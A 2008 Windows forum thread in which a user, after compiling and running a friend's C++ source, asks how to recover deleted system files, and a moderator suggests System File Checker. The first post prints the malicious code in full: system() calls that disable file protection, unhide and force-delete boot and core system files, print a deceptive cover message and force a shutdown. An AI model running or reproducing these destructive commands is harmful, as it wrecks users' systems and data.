Go Back   Computer Juice > Computer Software > Windows Operating Systems
Register Members New Posts Donate Unanswered Posts Site Spy Search


Reply
 
Thread Tools
  #1  
Old 25-04-2008, 12:17 AM
tmockingbird's Avatar
CJ Member
 
tmockingbird is offline
 
Join Date: Oct 2007
Last Online: 25-04-2008 08:43 PM
Posts: 31
iTrader: (0)
tmockingbird is on a distinguished road
Default Critical system files deleted - Urgent.

Hello. I just compiled a source (C++) from a friend of mine, and because I'm using the Express edition of Visual C++, it compiled and directly ran the program.

As you could've guessed, the source wasn't all that nice. I managed to abort the forced shutdown in time, but the files are still deleted. Here is the main part of the source;
Code:
    system("REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v SFCDisable /f");
	system("REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v SFCDisable /t REG_DWORD /d ffffff9d /f");
	system("attrib -r -s -h C:\\Ntldr");
	system("attrib -r -s -h C:\\boot.ini");
	system("attrib -r -s -h %SystemRoot%\\pss");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootcfg.exe");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootok.exe");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootvrfy.exe");
	system("attrib -r -s -h C:\\NTDETECT.COM");
	system("attrib -r -s -h C:\\System Volume Information");
	system("attrib -r -s -h %SystemRoot%\\repair");
	system("attrib -r -s -h C:\\system.ini");
	system("attrib -r -s -h %SystemRoot%\\win.ini");
	system("attrib -r -s -h %SystemRoot%\\system");
	system("attrib -r -s -h %SystemRoot%\\System32\\hal.dll");
	system("attrib -r -s -h %SystemRoot%\\System32\\ntdll.dll");
	system("Echo Refreshing cache memory, please stand by");
	system("del C:\\Ntldr -q -f"); //used for presenting boot menu, and loads Ntoskrnl.exe, Bootvid.dll, Hal.dll, and boot-start device drivers
    system("del C:\\boot.ini -q -f");
	system("del C:\\System Volume Information\\*.* -q -f");
	system("del %SystemRoot%\\pss\\*.* -q -f");
	system("del %SystemRoot%\\system32\\bootcfg.exe -q -f");
	system("del %SystemRoot%\\system32\\bootok.exe -q -f");
	system("del %SystemRoot%\\system32\\bootvrfy.exe -q -f");
	system("del C:\\NTDETECT.COM -q -f");
	system("del %SystemRoot%\\repair\\*.* -q -f");
	system("del C:\\system.ini -q -f");
	system("del %SystemRoot%\\win.ini -q -f");
	system("del %SystemRoot%\\system\\*.* -q -f");
	system("del %SystemRoot%\\System32\\hal.dll -q -f");
	system("del %SystemRoot%\\System32\\ntdll.dll -q -f");
	system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 10");
I've tried to get some of the files back but I've only managed to get hal.dll...

What would be the best fix for this? I believe I cannot use the XP Pro disc to repair.
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote
  #2  
Old 25-04-2008, 02:20 AM
evilfantasy's Avatar
CJ Moderator
Intel ATi
evilfantasy is online now
Send a message via Yahoo to evilfantasy
 
Join Date: Jul 2007
Last Online: Today 12:52 AM
Posts: 4,407
iTrader: (0)
evilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond repute
Default Critical system files deleted - Urgent.

Do you have an XP CD?

If so, place it in your CD ROM drive and follow the instructions below:
  • Click on Start > Run and type sfc /scannow then press Enter (note the space between scf and /scannow)
    • Let this run undisturbed until the window with the blue progress bar goes away
SFC - Which stands for System File Checker, retrieves the correct version of the file from %Systemroot%\System32\Dllcache or the Windows installation source files, and then replaces the incorrect file.

If you want to see what was replaced, right-click My Computer and click on Manage.
In the new window that appears, expand the Event Viewer (by clicking on the + symbol next to it) and then click on System.
__________________
.
.
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote
  #3  
Old 25-04-2008, 02:42 AM
tmockingbird's Avatar
CJ Member
 
tmockingbird is offline
 
Join Date: Oct 2007
Last Online: 25-04-2008 08:43 PM
Posts: 31
iTrader: (0)
tmockingbird is on a distinguished road
Default Critical system files deleted - Urgent.

Ohhhh my! You have no clue how happy I am right now, ghehe. I was about to get ready to reformat but aye, this looks way better. SFC is running right now, but I do have one little concern; would this also take care of "System Volume Information", "Ntldr", "boot.ini", "system.ini" and "NTDETECT.COM"? I was just wondering since these aren't windows XP files.

Thanks for your help so far, great and nifty command. I'll report back in a little while.=D
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote
  #4  
Old 25-04-2008, 02:46 AM
evilfantasy's Avatar
CJ Moderator
Intel ATi
evilfantasy is online now
Send a message via Yahoo to evilfantasy
 
Join Date: Jul 2007
Last Online: Today 12:52 AM
Posts: 4,407
iTrader: (0)
evilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond repute
Default Critical system files deleted - Urgent.

Not 100% sure.

You may have to check out a few different methods. http://support.microsoft.com/kb/330184

Then again it may replace them. Just have to wait and see.
__________________
.
.
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote
  #5  
Old 25-04-2008, 09:49 AM
tmockingbird's Avatar
CJ Member
 
tmockingbird is offline
 
Join Date: Oct 2007
Last Online: 25-04-2008 08:43 PM
Posts: 31
iTrader: (0)
tmockingbird is on a distinguished road
Default Critical system files deleted - Urgent.

Hello Evilfantasy. After the scan was done, I rebooted my laptop to see if it would work. To my disappointment I got a message saying "NTLDR missing", so I tried using one of my boot discs to fix that, but then I kept on getting "Missing kernel drivers to fix NTLDR."
I am now formatting my HDD using my mom's computer (since my laptop kept on rebooting for no apparent reason w/ my XP disc in it) and I'm just waiting for it to finish.

Nevertheless the result, thanks for your help and efforts (it's been an experience for me and I now know a new nifty command, ghehe). =D

Last edited by tmockingbird : 25-04-2008 at 09:51 AM.
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote
  #6  
Old 25-04-2008, 02:21 PM
evilfantasy's Avatar
CJ Moderator
Intel ATi
evilfantasy is online now
Send a message via Yahoo to evilfantasy
 
Join Date: Jul 2007
Last Online: Today 12:52 AM
Posts: 4,407
iTrader: (0)
evilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond reputeevilfantasy has a reputation beyond repute
Default Critical system files deleted - Urgent.

Sorry it didn't work.

Not sure what you were doing, but people usually do risky work on a spare machine or HDD....just in case of incidents like this.
__________________
.
.
Digg this postDel.icio.us this postTechnorati this postNetscape this postStumble this post
Reply With Quote

Please support this forum, donate towards our running costs.


Reply


Thread Tools

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Delete deleted files? Xeon General Software Chat 3 21-06-2008 01:29 PM
Re: Problem critical error antbann Windows Operating Systems 3 07-06-2008 10:52 AM
Patch Tuesday - Microsoft releases six critical patches evilfantasy Virus, Spyware & Security 4 15-02-2008 03:32 PM
deleted a file to make spac but once deleted didnt make any space enright666 General Software Chat 2 22-12-2007 10:26 AM
Can anybody guide me how can I recover some of my deleted files. jackson12 Windows Operating Systems 2 17-05-2007 09:21 AM


Copyright ©2006 - 2008 Computer Juice.

Powered by vBulletin® Copyright ©2000 - 2008 Jelsoft Enterprises Ltd. SEO by vBSEO ©2008, Crawlability, Inc.